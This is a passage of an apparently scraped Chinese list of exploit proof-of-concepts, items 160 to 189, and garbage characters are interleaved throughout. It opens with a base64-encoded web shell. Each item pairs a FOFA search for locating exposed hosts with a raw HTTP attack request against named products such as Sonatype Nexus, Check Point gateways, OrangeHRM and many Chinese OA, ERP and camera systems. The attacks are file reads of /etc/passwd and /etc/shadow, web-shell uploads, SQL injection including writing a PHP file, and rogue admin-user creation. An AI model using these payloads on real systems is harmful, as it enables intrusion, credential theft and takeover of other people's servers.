6 j, j1 I! w; O. F# }$ T0 ^* k<bufValue>PCVAIFdlYlNlcnZpY2UgTGFuZ3VhZ2U9IkpTY3JpcHQiIENsYXNzPSJXZWJTZXJ2aWNlMSIgJT4KIAppbXBvcnQgU3lzdGVtO2ltcG9ydCBTeXN0ZW0uV2ViO2ltcG9ydCBTeXN0ZW0uSU87aW1wb3J0IFN5c3RlbS5XZWIuU2VydmljZXM7CmltcG9ydCBTeXN0ZW0uV2ViLlNjcmlwdC5TZXJ2aWNlczsKaW1wb3J0IFN5c3RlbS5XZWI7CmltcG9ydCBTeXN0ZW0uV2ViLlNlcnZpY2VzOwogCnB1YmxpYyBjbGFzcyBXZWJTZXJ2aWNlMSBlleHRlbmRzIFdlYlNlcnZpY2UKewogCldlYk1ldGhvZEF0dHJpYnV0ZSBTY3JpcHRNZXRob2RBdHRyaWJ1dGUgZnVuY3Rpb24gQ21kc2hlbGwoUGFzcyA6IFN0cmluZykgOiBWb2lkCiAgICB7CiAgICAgICAgICAgIHZhciBjIID0gSHR0cENvbnRleHQuQ3VycmVudDsKICAgICAgICAgICAgdmFyIFJlcXVlc3QgPSBjLlJlcXVlc3Q7CiAgICAgICAgICAgIHZhciBSZXNwb25zZSA9IGMuUmVzcG9uc2U7CiAgICAgICAgICAgIGV2YWwoUGFzcyk7CiAgICCB9Cn0=</bufValue>
</jobUpload>
</soap:Body>
</soap:Envelope>


/1/abcrce.asmx/Cmdshell?Pass=Response.Write("Hello,World")
$ [3 V, H2 M7 Z, T0 I

160. Sonatype Nexus Repository 3目录遍历与文件读取
CVE-2024-4956
1 q& C0 e+ v& Z, M" y. YFOFA：title="Nexus Repository Manager"
GET /%2F%2F%2F%2F%2F%2F%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1
Host: x.x.x.x
# f" d+ ?9 @4 aUser-Agent: Mozilla/5.0 (Windows NT 5.1; rv:21.0) Gecko/20100101 Firefox/21.0
Connection: close
Accept: */*
Accept-Language: en
& [4 D& n' P0 d- v! sAccept-Encoding: gzip


% f) Q0 I1 J  f1 u6 P161. 科拓全智能停车收费系统 Webservice.asmx 任意文件上传
FOFA：body="/KT_Css/qd_defaul.css"
第一步，上传文件<fileName>字段指定文件名，<fileFlow>字段指定文件内容，内容需要base64加密
) o" B5 |8 `2 j: Y+ ?: E0 d, o/ FPOST /Webservice.asmx HTTP/1.1
, Q8 C* T4 F4 @& H, S' XHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36
) a* @9 w0 y4 t" KConnection: close
8 l. S7 N+ b# `6 xContent-Length: 445
Content-Type: text/xml
; `4 r) M) m9 L8 z- u3 {2 H! dAccept-Encoding: gzip
- {8 a1 C. [& [# Y% e; q! s' N. E
& p2 \/ S% Q7 k6 t4 G4 K/ x<?xml version="1.0" encoding="utf-8"?>
( ]4 T$ o6 w/ P: @<soap:Envelope xmlns:xsi="
& N. {+ c& w/ b) I( \, Fhttp://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
/ a, c( Y% Q  J5 D<soap:Body>
<UploadResume xmlns="http://tempuri.org/">
<ip>1</ip>
8 z/ C9 ~7 Q$ w9 Y3 n<fileName>../../../../dizxdell.aspx</fileName>
( [5 {% c- O% K& j* [2 z<fileFlow>andqbmFnc3phc3d1ZGh0bmhwYXc=</fileFlow>
<tag>3</tag>
! C0 A5 J" R4 o. |8 S* f</UploadResume>
  ]. v) N+ {' t: d5 x" S9 J# R</soap:Body>
</soap:Envelope>
- ~/ S; s! x  N/ ]4 g

1 R1 e4 u/ O+ j- ?http://x.x.x.x/dizxdell.aspx
% G) w7 `5 S' t
8 T  K. ?8 V# N162. 和丰多媒体信息发布系统 QH.aspx 任意文件上传
FOFA: app="和丰山海-数字标牌"
0 }0 G* R" f& z! T$ VPOST /QH.aspx HTTP/1.1
/ S( w- v+ n  K  _5 C' LHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
7 D* r% E" x' J+ w9 x2 BConnection: close
Content-Length: 583
2 q8 |$ a$ E( rContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryeegvclmyurlotuey
Accept-Encoding: gzip

------WebKitFormBoundaryeegvclmyurlotuey
; C; W+ n9 A/ F3 `* q6 HContent-Disposition: form-data; name="fileToUpload"; filename="kjuhitjgk.aspx"
Content-Type: application/octet-stream

# B8 ]9 f9 k0 r# C% w1 T9 t1 ~) m# M1 W<% response.write("ujidwqfuuqjalgkvrpqy") %>
------WebKitFormBoundaryeegvclmyurlotuey
5 D1 w6 l, ?) F: k) TContent-Disposition: form-data; name="action"
. G) i1 b% L. V3 ^
upload
# S. a) _: q8 ]- G% G------WebKitFormBoundaryeegvclmyurlotuey
/ T, [6 v* W7 _8 @Content-Disposition: form-data; name="responderId"
6 s8 ]9 F0 O, |! k
ResourceNewResponder
------WebKitFormBoundaryeegvclmyurlotuey
* s9 u* l1 Q0 _0 kContent-Disposition: form-data; name="remotePath"

$ L- I8 ~* }1 m+ T- w4 b. U! Z% c' J/opt/resources
' b: [4 S- j: u+ b------WebKitFormBoundaryeegvclmyurlotuey--
/ ~! f- ]2 P2 ]% z4 O

9 |. ?7 `" s: t# p' J# Uhttp://x.x.x.x/opt/resources/kjuhitjgk.aspx

& i" x1 h. I3 |; C9 C$ H163. 号卡极团分销管理系统 ue_serve.php 任意文件上传
' h8 D8 D- z* L1 F5 l0 R3 eFOFA: icon_hash="-795291075"
POST /admin/controller/ue_serve.php?action=image&encode=utf-8 HTTP/1.1
Host: x.x.x.x
) n/ Y# Z' O. D8 mUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36
Connection: close
) O, |. N: ~* Q0 g+ xContent-Length: 293
% A7 _" i1 ^6 }$ |0 }Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Content-Type: multipart/form-data; boundary=----iiqvnofupvhdyrcoqyuujyetjvqgocod
- M1 t8 J' n3 c) a
------iiqvnofupvhdyrcoqyuujyetjvqgocod
Content-Disposition: form-data; name="name"
4 L. Q6 V. V" [) ]
1.php
3 E7 V& v3 C" k) g& j. |5 _------iiqvnofupvhdyrcoqyuujyetjvqgocod
$ o( q2 `, f5 X  w2 SContent-Disposition: form-data; name="upfile"; filename="1.php"
4 A- s' [0 Q/ R% T( f, S. I) l) hContent-Type: image/jpeg

1 O5 a+ f. |7 [' A. a( urvjhvbhwwuooyiioxega
+ O. V7 k, H3 t1 r% g$ R------iiqvnofupvhdyrcoqyuujyetjvqgocod--
+ D9 l# t0 D2 \: f. d+ n
, }4 Y4 _; e9 v* A1 w+ d
164. 慧校园(安校易)管理系统 FileUpProductupdate.aspx 任意文件上传
; X$ a3 E9 R; b8 wFOFA: title="智慧综合管理平台登入"
POST /Module/FileUpPage/FileUpProductupdate.aspx HTTP/1.1
Host: x.x.x.x
" K# n# q$ P1 x! ^( Q" KUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
& }: c9 ?. {* c1 \' N0 ?/ x6 i# u! g! eContent-Length: 288
* R% r- t% @! h2 K& HAccept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2,
Connection: close
( m' m3 C' M5 s; ^- W1 }- p8 G; x- ]Content-Type: multipart/form-data; boundary=----dqdaieopnozbkapjacdbdthlvtlyl
4 Y2 |/ C6 F% H+ a5 t1 DX-Requested-With: XMLHttpRequest
Accept-Encoding: gzip

------dqdaieopnozbkapjacdbdthlvtlyl
Content-Disposition: form-data; name="Filedata"; filename="qaz.aspx"
Content-Type: image/jpeg

8 K4 @0 D2 }$ m<%@Page Language="C#"%><%Response.Write("aitwpovoxwtgixpfqiys");System.IO.File.Delete(Request.PhysicalPath);%>
: N0 y3 b8 i/ X# d8 g------dqdaieopnozbkapjacdbdthlvtlyl--

& l+ J# _+ j+ N$ K7 D5 @
  h/ Y5 P( M8 k' t! r6 x- thttp://x.x.x.x/Upload/Publish/000000/0_0_0_0/update.aspx

165. OrangeHRM 3.3.3 SQL 注入
# A5 @' t0 R# ECVE-2024-36428
3 V* q0 U8 w: d8 z. Y, g( KFOFA: app="OrangeHRM-产品"
2 ~+ I7 v; T4 b' FURL:https://192.168.1.28/symfony/web ... e&sortOrder=ASC,(SELECT (CASE WHEN (5240=5240) THEN 1 ELSE 5240*(SELECT 5240 FROM INFORMATION_SCHEMA.PLUGINS) END))


166. 中成科信票务管理平台SeatMapHandler SQL注入
! \( `& U! b7 vFOFA：body="技术支持：北京中成科信科技发展有限公司"
# _, A& z4 d* P! n) r+ l, B% JPOST /SystemManager/Comm/SeatMapHandler.ashx HTTP/1.1
Host:
2 S' L" ~; Y. }) ]7 |) ]# r9 EPragma: no-cache
, ^4 ^2 ]7 e& f1 x3 H1 WCache-Control: no-cache
2 X; Z: ~1 [: o$ }! CUpgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
  n0 j3 z6 o0 K( cAccept-Encoding: gzip, deflate
* ^8 H5 q" o0 G! ~: R- PAccept-Language: zh-CN,zh;q=0.9,en;q=0.8
* F7 a- B7 @) Z' W% ^Cookie: ASPSESSIONIDCCRBRCTD=LHLBDIBAKDEGBCJGKIKMNODE
  ?8 ^( f. _* ]0 ]" r% X  b# K) VConnection: close
Content-Type: application/x-www-form-urlencoded
! j9 z7 i$ R) X4 h( _& M) ]! B# UContent-Length: 89

Method=GetZoneInfo&solutionNo=%27+AND+4172+IN+%28SELECT+%28CHAR%28104%29%2BCHAR%28101%29%2BCHAR%28108%29%2BCHAR%28108%29%2BCHAR%28111%29%29%29--+bErE


5 F$ j9 O/ o' B" l167. 精益价值管理系统 DownLoad.aspx任意文件读取
& d: x( L% |2 t! TFOFA：body="/ajax/LVS.Core.Common.STSResult,LVS.Core.Common.ashx"
GET /Business/DownLoad.aspx?p=UploadFile/../Web.Config HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive


8 M; h% D: R4 {  a! X168. 宏景EHR OutputCode 任意文件读取
& h: K3 y0 u$ D; c3 H8 qFOFA：app="HJSOFT-HCM"
( U! K$ \5 z0 ]0 w1 ^$ A- X! SGET /servlet/OutputCode?path=VHmj0PAATTP2HJBPAATTPcyRcHb6hPAATTP2HJFPAATTP59XObqwUZaPAATTP2HJBPAATTP6EvXjT HTTP/1.1
1 _6 d4 i4 r" P" V& y* qHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36
7 E4 S" q; R9 z% OContent-Type: application/x-www-form-urlencoded
* I. S5 _! F! e6 `; xConnection: close


, r$ S3 K0 P& }% A) M0 x' s# Q2 D
169. 宏景EHR downlawbase SQL注入
FOFA：app="HJSOFT-HCM"
* W  f' R" r* m9 lGET /templates/attestation/../../selfservice/lawbase/downlawbase?id=1';WAITFOR+DELAY+'0:0:5'--+ HTTP/1.1
Host: your-ip
; u! p' D7 _! |3 B+ n. tUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept: */*
# W& j- h0 I9 M6 ]$ Y4 P. ?$ K( AAccept-Encoding: gzip, deflate
Connection: close
4 n  s$ c9 ~) M
& O* P; ^1 Z) A9 n- j7 @7 W& [/ A7 z% A
. I6 C# T- C( g$ l4 _% H/ d
170. 宏景EHR DisplayExcelCustomReport 任意文件读取
$ w' e/ r. H4 @3 ]. v6 BFOFA：body="/general/sys/hjaxmanage.js"
POST /templates/attestation/../../servlet/DisplayExcelCustomReport HTTP/1.1
/ v! b9 i; {( h- P* C/ R/ L5 J0 d' XHost: balalanengliang
User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
; N' n$ ~+ T* ]" U4 @7 eContent-Type: application/x-www-form-urlencoded
; s! q. l5 O$ n0 h+ |; v
# j: ^9 {6 K8 W; C+ vfilename=../webapps/ROOT/WEB-INF/web.xml
. Y5 F4 h+ a' o( T0 X4 j3 C# H% P2 ]
2 Z5 |( e% l' Y) E2 a6 d" T% O
. x$ J( K5 q: V; f9 D: Y" s171. 通天星CMSV6车载定位监控平台 SQL注入
FOFA：body="/808gps/"
GET /run_stop/delete.do;downloadLogger.action?ids=1)+AND+(SELECT+5394+FROM+(SELECT(SLEEP(5)))tdpw)--+&loadAll=1 HTTP/1.1
4 I! \1 W+ v* y; t/ mHost: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/110.0
Accept: */*
, X; G7 \! ^/ cAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
; h: K: y& T" X" l4 E5 wAccept-Encoding: gzip, deflate
Connection: close

/ W% a* w) r! y* N1 Q, Q  \2 s+ R
/ G/ n: ?  ^3 D( S
! L% f; g$ y- g- z* q  r172. DT-高清车牌识别摄像机任意文件读取
8 |# v' j* u0 A4 X5 {( u  M/ L9 QFOFA：app="DT-高清车牌识别摄像机"
* E: A% o& y7 tGET /../../../../etc/passwd HTTP/1.1
9 l5 T! U$ t- l" C4 P" YHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept-Encoding: gzip, deflate
7 u6 t: y2 j% t  \. S/ m! \. _Accept: */*
) c2 v* i& L8 e: A  x4 ?- @Connection: keep-alive
! a% |- ^" ~4 H  x" d

# C8 |# A* ]8 c( ]1 O1 {$ j9 v
173. Check Point 安全网关任意文件读取
CVE-2024-24919
FOFA：app="Check_Point-SSL-Network-Extender"
POST /clients/MyCRL HTTP/1.1
Host: your-ip
Content-Type: application/x-www-form-urlencoded

! z: C/ i% _+ e/ paCSHELL/../../../../../../../etc/shadow

; t2 ^3 h/ G" Z# y
: S! I, d& v) b7 ^0 O
174. 金和OA C6 FileDownLoad.aspx 任意文件读取
FOFA：app="金和网络-金和OA"
% v' ?- x2 f! x) R. QGET /c6/JHSoft.Web.CustomQuery/FileDownLoad.aspx?FilePath=../Resource/JHFileConfig.ini HTTP/1.1
Host: your-ip
! J$ M: D. m0 k, ^1 jUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
, R8 P! b/ S1 W; ^" F4 m7 ^Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
) S2 n# l' Y& E' O2 A* mAccept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close
: }; D3 a* X' }$ s+ P3 H8 l
  o% i+ q8 a; H
& B+ V; Q. U+ L% u2 |$ ~; u
175. 金和OA C6 IncentivePlanFulfill.aspx SQL注入
8 m8 ~" @! i0 ?: I5 f# h+ N& nFOFA：app="金和网络-金和OA"
GET /C6/JHSoft.Web.IncentivePlan/IncentivePlanFulfill.aspx/?IncentiveID=1%20WAITFOR%20DELAY%20'0:0:5'--&TVersion=1 HTTP/1.1
Host:
* Q# j3 B/ O) x" U: m+ {User-Agent: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
0 X4 H* g7 g: U, xAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
/ x2 T- V* l4 r$ x3 H2 \Accept-Encoding: gzip, deflate
Connection: close
/ w- J' _1 l$ Q+ I+ UUpgrade-Insecure-Requests: 1

& D) L& {8 I8 [* F6 F( l, B
5 }. J- U4 F6 P2 Y/ b176. 电信网关配置管理系统 rewrite.php 文件上传
: `8 A2 x6 _8 o; k/ O7 Y% _8 MFOFA：body="img/login_bg3.png" && body="系统登录"
POST /manager/teletext/material/rewrite.php HTTP/1.1
Host: your-ip
9 h; f0 A1 y8 W% z7 n. i4 k: F# oUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryOKldnDPT
$ N4 n7 g* G4 B! c: ?" u" FConnection: close
7 Y- q+ W! g! p/ u/ a7 ~
------WebKitFormBoundaryOKldnDPT
6 l; o0 t% o9 n" AContent-Disposition: form-data; name="tmp_name"; filename="test.php"
Content-Type: image/png

/ A) @3 u/ c0 y9 K<?php system("cat /etc/passwd");unlink(__FILE__);?>
7 O# s. H6 p/ Z0 b. K+ j  n------WebKitFormBoundaryOKldnDPT
Content-Disposition: form-data; name="uploadtime"
; f3 T) ~1 i' D" e

$ f) R* o. j0 w- \* q' q------WebKitFormBoundaryOKldnDPT--
  L# j0 f0 ^$ O2 W; d% D. a

2 q& ^# L( M" M' c
177. H3C路由器敏感信息泄露
. \* k8 }5 J: y7 J4 R/userLogin.asp/../actionpolicy_status/../ER8300G2.cfg
/userLogin.asp/../actionpolicy_status/../M60.cfg
5 Y4 r3 t% Q/ y) S; O6 `/userLogin.asp/../actionpolicy_status/../GR8300.cfg
/userLogin.asp/../actionpolicy_status/../GR5200.cfg
/userLogin.asp/../actionpolicy_status/../GR3200.cfg
( |# N. z; `& x! q3 z, R/userLogin.asp/../actionpolicy_status/../GR2200.cfg
/userLogin.asp/../actionpolicy_status/../ER8300G2-X.cfg
/userLogin.asp/../actionpolicy_status/../ER8300G2.cfg
/userLogin.asp/../actionpolicy_status/../ER6300G2.cfg
) O" ~: N: o# v! U/userLogin.asp/../actionpolicy_status/../ER5200G2.cfg
/userLogin.asp/../actionpolicy_status/../ER5200.cfg
/userLogin.asp/../actionpolicy_status/../ER5100.cfg
/userLogin.asp/../actionpolicy_status/../ER3260G2.cfg
( n9 p) V" D2 M3 l0 Z" P- n# a( [  g/userLogin.asp/../actionpolicy_status/../ER3260.cfg
3 f8 Y/ V" Z4 T: L/userLogin.asp/../actionpolicy_status/../ER3200G2.cfg
3 B! }) M  f1 e2 @: x$ ?6 n/userLogin.asp/../actionpolicy_status/../ER3200.cfg
/userLogin.asp/../actionpolicy_status/../ER3108GW.cfg
8 I- |1 H8 a3 P* E/userLogin.asp/../actionpolicy_status/../ER3108G.cfg
/userLogin.asp/../actionpolicy_status/../ER3100G2.cfg
% m# e* f& s: @8 q- K' o1 _/userLogin.asp/../actionpolicy_status/../ER3100.cfg
/userLogin.asp/../actionpolicy_status/../ER2200G2.cfg
' J8 G& p% d! k' M

178. H3C校园网自助服务系统-flexfileupload-任意文件上传
FOFA：header="/selfservice"
POST /imc/primepush/%2e%2e/flexFileUpload HTTP/1.1
  j2 j1 [) z- R7 p; V( WHost:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Content-Length: 252
) h& p" p& O9 C+ j, q, t* gAccept-Encoding: gzip, deflate
Connection: close
2 T5 K# P/ m* }/ b+ ^+ D3 e0 AContent-Type: multipart/form-data; boundary=---------------aqutkea7vvanpqy3rh2l
-----------------aqutkea7vvanpqy3rh2l
Content-Disposition: form-data; name="12234.txt"; filename="12234"
6 l$ y% Z) x8 h2 G$ ~Content-Type: application/octet-stream
# N& ^! f# Y2 M) ?# ZContent-Length: 255
: m9 I( T% |1 b; |
12234
6 s- O8 u6 [* E+ {-----------------aqutkea7vvanpqy3rh2l--

2 }% X/ F. X0 Z; r2 B" p
$ A; W4 w3 A4 ]! U+ UGET /imc/primepush/%2e%2e/flex/12234.txt


179. 建文工程管理系统存在任意文件读取
POST /Common/DownLoad2.aspx HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0
, f( @+ h5 O  Q6 K) h  X7 z
/ j7 Q% k" u+ Q2 Y$ Z+ upath=../log4net.config&Name=
- M$ E+ g$ [3 e1 U# _
0 V8 X3 q& D5 |; j
' P# c# L, Z; ]; _180. 帮管客 CRM jiliyu SQL注入
FOFA：app="帮管客-CRM"
2 G3 a" [9 n" I5 T. nGET /index.php/jiliyu?keyword=1&page=1&pai=id&sou=soufast&timedsc=激励语列表&xu=and%201=(updatexml(1,concat(0x7e,(select%20user()),0x7e),1)) HTTP/1.1
3 q' {5 p7 B" NHost: your-ip
* Q" R) A, h; A- LUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
1 J3 G8 v+ K6 i( z& ~$ r6 @$ hConnection: close
  f4 x0 J8 c, W

181. 润申信息科技企业标准化管理系统 UpdataLogHandler.ashx SQL注入
; S6 ]6 g3 a3 m  S4 Q+ YFOFA："PDCA/js/_publicCom.js"
. E& m1 k* b8 [- U2 Y4 `0 [POST /PDCA/ashx/UpdataLogHandler.ashx HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded

, A" E% S* o2 z& S5 c/ d
action=GetAll&start=' WAITFOR DELAY '0:0:5'--&end=&code=11&type=2&page=1&rows=20
$ b7 [' i# L$ m1 k6 Q

7 N5 v9 _" B2 j$ ]  k9 R+ w182. 润申科技企业标准化管理系统AddNewsHandler.ashx 任意用户创建
, C1 j, Q7 C7 `FOFA："PDCA/js/_publicCom.js"
7 I3 r  ~7 }6 cPOST /PDCA/ashx/AddNewsHandler.ashx?action=Adduser HTTP/1.1
7 u' }2 P2 |4 L" x$ Z3 K- P& [! Z- mHost: your-ip
7 J1 A1 H, v  N( E% H- H2 yUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
- {3 l3 ^$ w5 A6 g6 FAccept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close
* j* `% ~7 E/ Z, P2 Q2 Y) [Content-Type: application/x-www-form-urlencoded

; O6 ~+ S2 i9 E1 U
, t9 E- V* Z0 T2 Cusername=test1234&pwd=test1234&savedays=1

! ?' T1 j& b; L  K* m' m
183. 广州图创图书馆集群管理系统 updOpuserPw SQL注入
FOFA：body="interlib/common/" || body="Interlib图书馆集群管理系统" || body="/interlib3/system_index" || body="打开Interlib主界面"
GET /interlib3/service/sysop/updOpuserPw?loginid=admin11&newpassword=Aa@123456&token=1%27and+ctxsys.drithsx.sn(1,(select%20111111*111111%20from%20dual))=%272 HTTP/1.1
6 J3 Z4 U/ x3 Y$ k+ A$ ZHost: your-ip
User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
9 g. Y+ f* L) m  f2 v; KAccept-Charset: utf-8
/ q1 a- K6 l- D2 ~. OAccept-Encoding: gzip, deflate
( N4 k* H& }3 ^# d2 T8 d0 jConnection: close


& A) \- ?8 P* P# U0 ]) ?$ d  L184. 迅饶科技 X2Modbus 网关 AddUser 任意用户添加
FOFA：server="SunFull-Webs"
POST /soap/AddUser HTTP/1.1
, h) [9 v7 e( |5 lHost: your-ip
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
; \3 T! ?$ r7 v4 Z" g; y; QAccept: application/xml, text/xml, */*; q=0.01
Content-Type: text/xml; charset=utf-8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
' J+ S5 n' Z) k1 ^4 d' a2 oX-Requested-With: XMLHttpRequest
! j5 c- u3 M* F3 X- q

insert into userid (USERNAME,PASSWORD,PURVIEW,LOGINDATE,LOGINTIME) values('root','123456','4','2024-5-6','11:7:56')

4 v8 ~% Q3 a$ d' t4 Z
185. 瑞友天翼应用虚拟化系统SQL注入
version < 7.0.5.1
3 Q: G) h* k5 g$ D3 E0 V& yFOFA：app="REALOR-天翼应用虚拟化系统"
( r+ d4 r+ S/ @( sGET /index.php?s=/Admin/appsave&appid=3%27%29%3Bselect+unhex%28%273c3f706870206563686f206d643528223122293b202466696c65203d205f5f46494c455f5f3b20756e6c696e6b282466696c65293b%27%29+into+outfile+%27.%5C%5C..%5C%5C..%5C%5CWebRoot%5C%5Cplom.xgi%27%23 HTTP/1.1
Host: host

# c/ ~4 q2 G# j* n5 v
186. F-logic DataCube3 SQL注入
CVE-2024-31750
F-logic DataCube3是一款用于光伏发电系统的紧凑型终端测量系统
5 _5 V& J7 q5 F" d/ R! kFOFA：title=="DataCube3"
POST /admin/pr_monitor/getting_index_data.php HTTP/1.1
Host: your-ip
" x+ \0 f5 A- J9 ?User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
9 l0 q, R' a) @+ R2 M$ JAccept-Encoding: gzip, deflate
0 B  D, v4 }/ D. BConnection: close
. b& A( [( u, ~( ]& t3 s/ [Content-Type: application/x-www-form-urlencoded

2 I: X, x! S  d  t* K3 jreq_id=1) AND 1113=LIKE(CHAR(65,66,67,68,69,70,71),UPPER(HEX(RANDOMBLOB(500000000/2)))) AND (1450=1450

( _$ m$ T) E0 y1 [: H
1 A, {" J5 L5 Z187. Mura CMS processAsyncObject SQL注入
CVE-2024-32640
FOFA："Mura CMS"
POST /index.cfm/_api/json/v1/default/?method=processAsyncObject HTTP/1.1
/ k3 b' z$ a+ P" {Host: your-ip
Content-Type: application/x-www-form-urlencoded

# {/ `$ r, d" \, W( X3 d- S; |# {
# s, R7 c- m0 a/ Y6 s8 ^, k( bobject=displayregion&contenthistid=x%5c' AND (SELECT 3504 FROM (SELECT(SLEEP(5)))MQYa)-- Arrv&previewid=1
( K3 V& M) E' [  ]3 o3 f1 `

0 Z  E+ u7 Z9 p# I* o$ _188. 叁体-佳会视频会议 attachment 任意文件读取
8 X: @$ d: ^* }7 v& k+ x/ bversion <= 3.9.7
. P- _' g2 v/ {- g7 R! v) ^FOFA：body="/system/get_rtc_user_defined_info?site_id"
4 U: ?  v& w5 l9 E% RGET /attachment?file=/etc/passwd HTTP/1.1
, R( @# U: X, L/ ?Host: your-ip
& G* d# D& G9 w0 t/ m, m# `* IUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
, r6 f* L+ Y$ v& l4 IAccept-Encoding: gzip, deflate
" S4 \: {1 u1 h! sAccept-Language: zh-CN,zh;q=0.9,en;q=0.8
0 J" A* n0 o: ^5 H$ p4 l. A: sConnection: close


2 h; P! q/ T5 t$ e% G$ E! F189. 蓝网科技临床浏览系统 deleteStudy SQL注入
6 ~! M; K4 S( J" v; HFOFA：app="LANWON-临床浏览系统"
/ p: F+ C' X* s0 J) E8 ~7 I. LGET /xds/deleteStudy.php?documentUniqueId=1%27;WAITFOR%20DELAY%20%270:0:5%27-- HTTP/1.1
Host: your-ip
8 C) Q, {! ~" B7 U8 _5 LUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
